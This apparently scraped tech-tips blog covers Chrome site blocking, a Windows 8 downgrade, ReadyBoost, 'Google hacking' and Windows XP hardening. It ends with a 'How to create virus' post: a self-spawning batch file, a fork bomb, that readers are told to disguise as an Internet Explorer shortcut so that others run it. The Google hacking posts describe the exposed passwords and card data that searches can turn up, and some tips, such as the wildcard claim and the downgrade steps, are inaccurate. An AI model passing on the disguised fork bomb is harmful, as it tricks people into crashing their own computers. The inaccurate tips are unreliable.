How To Block Website on Google Chrome

Now blocking of website is so easy . Some time blocking of website is  organizations need and some time you don't want to make visible site to your family and children. You can block thousands of website even you don't need to follow complex step (like change host file ) .

For blocking website on Google Chrome you need to follow these simple steps . 

Step 1 : Open Google Chrome Browser . 

Step 2 : Type "Google Chrome Extensions" and Click on the First Link.

Step 3 : Type Site Block in text box. 

Step 4 : . Add Site block to Chrome by click on button "ADD TO CHROME".

Step 5 : Go to Settings - > Extensions and Click on the option button 

Step 6 : Type the websites which you want to block and Click on the "Save option". 

Step 7 : Now close the tab and try to open blocked websites . These sites will not open in Google Chrome .

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Downgrade Window 8 to Window 7

If you don't like window 8 and want to install window 7 again then you will be happy to know you can degrade Window 8.

The Professional edition of Windows 8 comes with “downgrade rights.” If you’re not happy with Windows 8 on a new computer, you can downgrade it to Windows 7 for free – as long as you have Windows 8 Pro.


You have to follow following steps for degrading window .

Step 1 - Open "Elevated Power Shell" in window 8 . 
Go to "Apps" and type in search box "Powershell" .

Step 2 - Now type Confirm-SecureBootUEFI.

Step 3 - Verify the output 

If system returns true that means BIOS is set to Secure Boot and go to step no 4 .
If system returns false that means BIOS is not set to Secure Boot and go to step no 5 .

Step 4 - Reset BIOS to default . 

a) Go to settings -> Change PC settings -> General -> Advance Start-up - > Restart Now -> Troubleshoot -> Advanced option -> UEFI Firmware Settings then select Restart .
b) Now select setup defaults (may be F9 )
c) Select option "Save and Exit" (may be F10)
d) Disable secure boot control (Optional if  popup window came )

Step 5 - To Boot up your DVD .
Click on the UEFI and Press Enter.

Now you can install window 7 in your system .

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Increase System Speed - Using External USB (Pen Drive) as RAM

By connecting a USB stick to a window computer you can speed up your system using Ready Boost .Window Vista and above include a new feature Called Ready Boost that enable you to plug in a flash memory or SD card to store commonly used files for quicker access.

For increasing speed you need to follow just a simple steps :

1:  Insert a Flash memory (Pen Drive ) or SD card into system .

2- Click on the "Speed up my system " icon of the the "Autoplay " popup window . 

3- Click on the option " Dedicate this device to Ready Boost" and then "OK" button .

4- Verify the Flash Drive memory status.

Now use device and you will get increased speed . Enjoy a increased speed of system .

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Google Hacking Techniques

Google hacking Tricks : 

Google hacking is a technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites use. Some search techniques are used for extracting exact information from the Google database .  You can find special operators here :

1. Use the "+" sign to focus a search for an overly common word . Use "- " sign to exclude a term from search . 

eg. Mullet usually used for two things 1) Haircut and 2) Fish . If you simply search for the mullet then Google shows the mixed result like 

If you search smartly then you will get smart and best result . If you want mullet fish then search  mullet -haircut . Then you will get result related to mullet fish 

             

2. To search for a phrase , use " " surround the phrase . like " Sand sharks" . This will search about the sand fish instead of sand and sharks.

3. A period (.) serves as a single character wild card  

4. An asterisk represent the any world - not a completion of world .

Google advanced operators uses a syntax that refine the search . you can find more operators in following video . 

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What is Google Hacking

Google Hacking :

Google hacking is a technique that uses Google Search and other Google applications to find security holes in the configuration and computer code that websites use. It involves using advanced operators in goggle search engine to locate specific text/file within search result . There are generally two types of vulnerabilities to be found on the Web: software vulnerabilities and misconfigurations . Although there are some sophisticated intruders who target a specific system and try to discover vulnerabilities that will allow them access, the vast majority of intruders start out with a specific software vulnerability or common user misconfiguration that they already know how to exploit, and simply try to find or scan for systems that have this vulnerability. Google is of limited use to the first attacker, but invaluable to the second.

Today there are scanners that automatically query IP addresses to see what proxy for exploits. A proxy is an intermediary system that an attacker can use to disguise his or her identity.

The following search query would locate all web pages that particular test contained within them . It is normal for default installation of applications to include their running version in every page they serve , eg. , “ Powered by XOOPS 2.2.3 Final “ .

Google hacking aims to find the things on web which can be useful for hackers .  Hackers mainly focus on these juicy information :

     

Error Message : Really retarded error message that say WAY TOO MUCH . Eroor messages  Like Error: No user found with name mike+AND+ , Microsoft OLE DB Provider for ODBC Drivers error '80040e37'

Advisories and Vulnerabilities : The search locate vulnerable servers . These serches are often generated by the various advisory ports and in many case are product or version specific .

File containing important information : No username password but these files contain interesting stuff 

File containing Password : Passwords , For Love ! Google found password 

File containing username : These file contain Usernames , but no password still Google finding username on web site . 

Footholds : Examples of queries that can help a hacker gain a foothold into web server .

Page containing login portals : These are the login pages for the various services . Consider them the front door of website's more sensitive function . 

Pages containing network or vulnerability data : These pages contain such things as firewall logs , honey pot logs , network information , IDS logs  all sorts of functions .

Sensitive directories : Google's collection of web site sharing sensitive directories , 

the file contained in here will vary from sensitive to uber - secret . 

Sensitive online shopping information : Example of queries that can reveal online shopping info like containing customer data , suppliers order , credit card no . , credit card info , etc . 

Web server detection : These links demonstrate Google ability to profile web servers .  

Vulnerable files : Hundred of Vulnerable files that Google can search on web site . 

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Secure your system from hackers

Hackers and viruses are the term which affects everyone at some stage. Our system have crucial information  of business or some  personal information which is the main target of hackers . So for securing our system we must have security alert . If we put these points in our mind then our system become more secure.

Method 1: Disable Guest Account.
                   Windows Xp have option of the Guest account.This guest account used for the providing service                       
                   and used for limited access ,but its used by hackers to damage system security. Disable it
                   completely if you are not using it

                  *Firstly open Control Panel and select User account.

             
                 * Now Click On Manage Account.

                *Now Click On Guest Account and turn off guest account.

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How to create virus

Do you want to create virus within two minutes???
I show you the simple process of making a virus.This virus is not so much dangerous but it's funny .This is very simple and easy process of creating virus. You must follow these simple steps.

Step 1 : Open Notepad and write "start virus.bat" and save with name "virus.bat".

Step 2: Save this with name "virus.bat".

Step 3 : Copy this file and save in C drive.

Step 4 : Now create this shortcut on desktop and right click on shortcut and choose properties.

Step 5 : Click on change icon and choose icon of internet explorer or any of browser from there.

Step 6:  Now rename this with "Internet Explorer".

Step 7: Now your work is finish and virus is ready to work .

            

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